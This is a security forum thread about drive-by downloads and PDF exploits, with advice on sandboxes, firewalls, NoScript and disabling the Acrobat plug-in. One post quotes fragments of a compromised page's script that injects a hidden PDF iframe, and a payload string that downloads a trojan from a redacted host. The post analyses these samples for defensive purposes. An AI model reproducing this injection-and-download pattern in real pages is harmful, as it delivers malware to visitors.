This is the first time I visited an infected website!

Actually there are sites out there that can, and do, download malware onto your PC with *no* user intervention. You need to look up the definition of "drive by download".

 

This really goes back to the point I made earlier about Joe Average. Whilst some of us here are aware of how to deal with such things and have additional measures in place, it's this target of people that need the protection with as little complication as possible, and AVs such as KL will help in that regard.

 

Drive-by-download video:
http://video.google.com/videoplay?docid=-3351512772400238297

 

Ok, but they cannot write code into the webpage that runs or executes the .exe file once it's been downloaded and saved on the persons HD.

Right?

 

The current PDF exploits are good examples.

The user connects to a legitimate web site that has been compromised with malicious code that automatically loads the PDF file into the browser, even if that feature is disabled in Acrobat Preferences:

Code:

[excerpt]
		if((name.indexOf("Adobe Acrobat") != -1) || (name.indexOf("Adobe PDF") != -1))
		{
		
document.write('<[COLOR="DarkRed"][B]iframe src="pdf.pdf[/B][/COLOR]"></iframe>');

The PDF file has the code to download the trojan, load.exe:

Code:

URLMON.DLL. URL DownloadToFileA.
http://XXXXXX.cn/load.php?id=4.. 

Which is easily blocked from downloading with proper security in place:

​

No user action required after connecting to the web site.

To show that a file from a drive-by download can execute itself, here is the same exploit page when accessed using IE - it gets a different malware code but the same trojan, load.exe. This time I let it download and attempt to execute at which point it is blocked:

​

Code:

load.exe
Sunbelt
4/17/2009
InfoStealer.Snifula.a

Again, no user action required after connecting to the web site.

Most of these exploits require scripting to be enabled. Nonetheless these examples show that drive-by downloads can occur with no user action, and the malware can execute once it is on the HD.

The virustotal article cited above has a good description:

The article mentions two categories of exploits,

Note that the PDF exploit targets the Acrobat Reader, not the browser, for the exploit will work in any browser.

PDF exploits and preventative measures have been discussed in detail in other threads on Wilders.

With proper security in place, the drive-by download (infected web site) that serves up malware executables is the easiest to prevent.

Several people have mentioned the sandbox. From what I gather here, it contains the malware once it executes.

Best to keep it from executing in the first place, it seems to me!

----
rich

 

Another great post Rmus! Hopefully others will take note of your message.

I would like to note that Sandboxie can be easily configured to only allow certain apps to run and/or have an internet connection within the sandbox. For example, only Firefox and Acrobat can run in the sandbox and connect out and theoretically nothing else. It also has a Drop Rights feature which can be enabled to reduce privileges which could possibly prevent infection.

 

Thanks innerpeace. The sandbox sounds effective, but for the average home situation, I prefer a set-and-forget solution with no configuring, to take care of the drive-by download expoits.

The phrase "remote code execution" is preferable to "drive-by" for me, because "drive-by" implies being on a web site. But silent execution remotely can exist in other situations:

USB autorun.inf files

Here the code executes as soon as the USB device is connected, a la conficker.B. These can be a flash drive, camera card, digital picture frame, etc. All have been used successfully in attacks.

You can argue that autorun can be blocked. Yet, the computer should have a fail-safe solution for preventing unauthorized executables from running, in a worst case scenario.

Embedded malware in Office documents

Here, the user is persuaded to open an infected document, usually by email. We all know about safe email practices, but again... to cover in case of accidents...

PDF files opened on the hard drive

Same as Office documents.

There are many solutions to prevent the remote code execution attack - whether web-based or otherwise, so that there is no reason any more to be a victim of this type of exploit.

People in the know just need to get the word out!

----
rich

 

Can you explain why you would want Acrobat reader to connect out?

This is the trigger point of the PDF exploit, as shown here where the firewall intercepts the attempt to connect out to download the malware:

​

----
rich

 

First of all, I agree with everything you wrote in post #57. I have a fail safe also (Online Armor and Avira) but I'm not able to test them. Sandboxie does have one drawback in that if you remove anything from it and execute, it's game over unless you have that fail safe in place.

I don't think that I would need Acrobat to call out so your point is valid. If Firefox is the parent process I guess that Acrobat would not need internet access. In all honesty, I use Foxit Reader for the occasional .pdf I need to read. In any event, the trojan executable shouldn't be able to run if Sandboxie is properly configured. I honestly couldn't say if Sandboxie configured with default settings would protect but I'm fairly sure the .pdf reader would load sandboxed if called by the browser and therefore contained. It should also be limited in what it can do. I still feel more comfortable with a fail safe as a back up. That's my personal preference.

 

Does Online Armor White List all executables on your computer? Then you can test and use a CD installation disk and let autorun attempt to start the setup.exe. This simulates the remote code execution exploit. It should block since setup.exe is not installed on your computer:

​

This is why I would be hesitant to use something like this in a home environment where the chance of error is present with not-so-knowledgeable users.

Normally you grant access to those applications that need it in your firewall application rules, so the firewall would intercept should the application get out of the sandbox.

You and me both! It sounds like you have thought out things pretty well!

----
rich

 

Hey rich,

1. Lucky I run No-script addon to firefox then, cause I never allow scripts to run unless I know the website and company well.

2. How can I protect myself against these PDF issue? I have latest PDF reader installed.. what shall I do?

 

I think the most reliable method is to disable the plug-in. See

https://www.wilderssecurity.com/showthread.php?t=240811

----
rich

 

Disabling javascript in reader also helps.

 

Hmm. Maybe I should use Avira premium instead of the free version to attain better protection...

 

Earlier this year at least one exploit did not rely on Javascript:

Adobe Reader/Acrobat 0-day Clarification
http://secunia.com/blog/44/

Of the two infected sites I found that triggered my version of the Reader, one used Javascript and the other did not.

----
rich

 

So basically, in a nutshell, there are exploits out there that use various techniques, some with scripts and others using different methods. To compound things further, malware authors are continuing to find and create new ways to infect vulnerable sites. All we can do is to be on our guard and use appropriate protection, even for websites we trust.

 

I said it helps, doesn't make immune